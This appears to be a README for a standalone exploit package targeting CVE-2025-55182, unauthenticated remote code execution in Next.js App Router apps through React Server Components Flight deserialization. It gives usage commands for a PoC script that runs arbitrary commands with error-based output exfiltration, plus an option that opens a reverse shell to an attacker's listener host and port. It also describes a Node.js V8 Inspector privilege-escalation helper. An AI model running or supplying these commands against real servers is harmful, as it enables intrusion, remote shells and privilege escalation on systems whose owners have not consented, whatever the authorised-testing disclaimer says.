
Standalone exploit for CVE-2025-55182 achieving unauthenticated RCE in Next.js App Router via React Server Components Flight deserialization, with reverse shell and Node.js V8 Inspector privilege escalation helper.
Standalone exploit for CVE-2025-55182 in Next.js App Router apps that enable React Server Components. Crafted RSC Flight payloads to the server-action endpoint give unauthenticated remote code execution. Ships a Node.js V8 Inspector (debug-port) local privilege-escalation helper that runs code in a privileged process via a process.mainModule.require sandbox bypass.
CVE: CVE-2025-55182
python3 -m pip install requests # for the Python PoC(s)
cdp_privesc.pypython3 cdp_privesc.py <target>
react2shell-poc.pypython3 react2shell-poc.py -t http://TARGET:3000 -c "id" # error-based command exfil
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost LHOST --lport 4444
react2shell-poc.py is p3ta00's public CVE-2025-55182 PoC, vendored unchanged
from https://github.com/p3ta00/react2shell-poc for a self-contained chain.
cdp_privesc.py (the Node.js V8 Inspector local privesc) is original.
For authorised security testing and education only. Only run this against systems you own or have explicit written permission to test.
Author: r3vpwnx